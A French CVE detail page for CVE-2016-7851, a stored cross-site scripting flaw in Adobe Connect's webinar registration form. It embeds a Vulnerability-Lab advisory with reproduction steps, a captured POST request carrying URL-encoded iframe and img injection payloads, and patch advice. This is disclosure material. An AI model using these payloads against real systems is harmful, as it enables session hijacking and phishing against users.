CVE-2016-7851 : Détail

CVE-2016-7851

6.1
/
Moyen
Cross-site Scripting
A03-Injection
0.44%V3
Network
2016-11-08
16h45 +00:00
2017-09-02
07h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Adobe Connect version 9.5.6 and earlier does not adequately validate input in the events registration module. This vulnerability could be exploited in cross-site scripting attacks.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 6.1 MEDIUM CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 40742

Date de publication : 2016-11-08 23h00 +00:00
Auteur : Vulnerability-Lab
EDB Vérifié : Yes

Document Title: =============== Adobe Connect & Desktop v9.5.7 - Persistent Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1838 Security ID: PSIRT-5180 Bulletin: https://helpx.adobe.com/security/products/connect/apsb16-35.html http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7851 Public News Article: http://www.securityweek.com/adobe-patches-9-flash-player-flaws-reported-zdi CVE-ID: ======= CVE-2016-7851 Release Date: ============= 2016-11-09 Vulnerability Laboratory ID (VL-ID): ==================================== 1838 Common Vulnerability Scoring System: ==================================== 3.7 Product & Service Introduction: =============================== Whether it is a smartphone or tablet app, a game, a video, a digital magazine, a website, or an online experience, chances are that it was touched by Adobe technology. Our tools and services enable our customers to create groundbreaking digital content, deploy it across media and devices, and then continually measure and optimize it based on user data. By providing complete solutions that combine digital media creation with data-driven marketing, we help businesses improve their communications, strengthen their brands, and ultimately achieve greater business success. (Copy of the Vendor Homepage: http://www.adobe.com/aboutadobe/) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered an application-side vulnerability in the Adobe Connect online web-application and v9.5.6 windows software. Vulnerability Disclosure Timeline: ================================== 2016-04-27: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH) 2016-04-28: Vendor Notification (PSIRT Adobe Security Team) 2016-04-29: Vendor Response/Feedback (PSIRT Adobe Security Team) 2016-10-20: Vendor Fix/Patch (Adobe Service Developer Team) 2016-11-08: Security Acknowledgements (Adobe Security Team) 2016-11-09: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Adobe Systems Product: Adobe Connect - Online Service (Web-Application) 2016 Q2 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ An application-side input validation and xss vulnerability has been discovered in the Adobe Connect online web-application and v9.5.6 windows software. The input validation and filter issue allows remote attackers to inject own malicious script codes to the server-side of the vulnerable modules context. The vulnerability is located in the `firstname`,`lastname` and `companyname` parameter of the `event_registration.html` file submit POST method request. Remote attackers are able to inject own malicious script codes in the vulnerable parameters POST method request to manipulate the adobe connect events service emails for the webinar registration module. The email body does not encode the input values and the registration is not restricted on inputs as well, which results in the application-side script code execution. Attackers are also able to followup the webinar links with the injected credentials which may be result in a second persistent script code execution as well. The injection point is the registration input form of the webinar in adobe connect and the execution point occurs in the email body context of the admin@adobeconnect.com email address. The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8. Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources and persistent manipulation of affected or connected service module context. Request Method(s): Inject [+] POST Vulnerable Module(s): [+] Events - Webinar Registration Form Vulnerable File(s): [+] event_registration.html Vulnerable Parameter(s): [+] firstname [+] lastname [+] companyname Affected Module(s): [+] (admin@adobeconnect.com) Proof of Concept (PoC): ======================= The persistent vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Open your mailbox and click to the portals webinar email for administrators 2. Surf to the signup registration of adobe connect next to the events reck 3. Inject to the firstname, lastname and companyname your own script code payload 4. Submit the POST request to get activated for the webinar to hackerone via adobe connect 5. Check the local input of the registered account 6. The script code payloads of the name values are replied by the email service without secure encode Note: The execution of the payloads occurs directly after the arrival and view 7. Now choose in the email the link to the webinar that is connected to the name values 8. Join the channel and write a message for interaction 9. The code executes in several sections of the webinar adobe connect events service with persistent vector 10. Successful reproduce of the both application-side vulnerabilities in adobe via hackerone! PoC: event_registration.html <div style="font-size: 12pt;color: #1d1d1d;font-family: Tahoma;font-style: normal;background-color: #FFFFFF;"> <p>>"<[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]></p> <p>We are pleased to confirm your registration for The Art and Science of Bug Bounty Triage - April 28, 2016. We look forward to your participation in the event.</p> </div> --- PoC Session Logs [POST] --- Status: 200[OK] POST https://events-na1.adobeconnect.com/content/connect/connect-action?sco-id=2159915051 Mime Type[text/html] Request Header: Host[events-na1.adobeconnect.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate, br] Referer[https://events-na1.adobeconnect.com/content/connect/c1/2152090704/en/events/event/shared/2159889590/event_registration.html?sco-id=2159915051&campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2&_charset_=utf-8] Cookie[2159915051_campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2; connectevent_campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2; BREEZESESSION=na1breezpuz9xczd47kqnkqt; time-zone=Europe%2FBerlin; s_cc=true; s_sq=acnapvtpyd8zd0ka1b3qdt5jp4i76%3D%2526pid%253Dhttps%25253A%25252F%25252Fevents-na1.adobeconnect.com%25252Fcontent%25252Fconnect%25252Fc1%25252F2152090704%25252Fen%25252Fevents%25252Fevent%25252Fshared%25252F2159889590%25252Fevent_registration.html%25253Fsco-id%25253D2159915051%252526campaign-id%25253DDG-EM-Art%25252520of%25252520Triage-2Q2016-2%252526_charset_%25253Dutf-8%2526oid%253Dfunctiononclick(event)%25257BregFormSubmit()%25253B%25257D%2526oidt%253D2%2526ot%253DA] Connection[keep-alive] POST-Daten: 2159915054[Yes] 2159915055[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] 2159915056[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] 2159915057[adasfaf+asfasdfasfasfasdfsdfs] login[bkm%40evolution-sec.com] first-name[%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] last-name[%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] campaign-id[DG-EM-Art%2520of%2520Triage-2Q2016-2] sco-id[2159915051] reg-form-back[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.html] reg-form-success[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.result.html] action[event-register] _charset_[UTF-8] login-uri[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.login.html%3Flogin-ok%3D%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.html%26sco-id%3D2159915051] set-lang[en] reg-confirm-page[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fregistration_confirm.html] Response Header: Connection[Keep-Alive] Server[Day-Servlet-Engine/4.1.24] Content-Type[text/html;charset=UTF-8] Date[Wed, 27 Apr 2016 08:56:07 GMT] Transfer-Encoding[chunked] Set-Cookie[2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connectconnectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect 2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect 2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect 2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect 2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect 2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect 2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect 2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect] Reference(s): https://events-na1.adobeconnect.com/ https://events-na1.adobeconnect.com/content/ https://events-na1.adobeconnect.com/content/connect/ https://events-na1.adobeconnect.com/content/connect/connect-action Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable firstname, lastname and companyname input fields in the registration file POST method request. Dissallow the usage of special chars and restrict the input to prevent further script code injection attacks. Encode the email body context of the adobe connect service mails after the registration. Block script code tags or escape and encode them as well. Please follow the instructions in the adobe security bulletin to resolve the issue - Adobe Connect 9.5.7 windows desktop version. URL: https://helpx.adobe.com/adobe-connect/release-note/adobe-connect-9-5-7-release-notes.html Security Risk: ============== The security risk of the application-side vulnerability in the events webinar web-application and windows desktop software is estimated as medium. (CVSS 3.7) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research@vulnerability-lab.com) [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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Products Mentioned

Configuraton 0

Adobe>>Connect >> Version To (including) 9.5.6

Références

http://www.securitytracker.com/id/1037239
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/94152
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/40742/
Tags : exploit, x_refsource_EXPLOIT-DB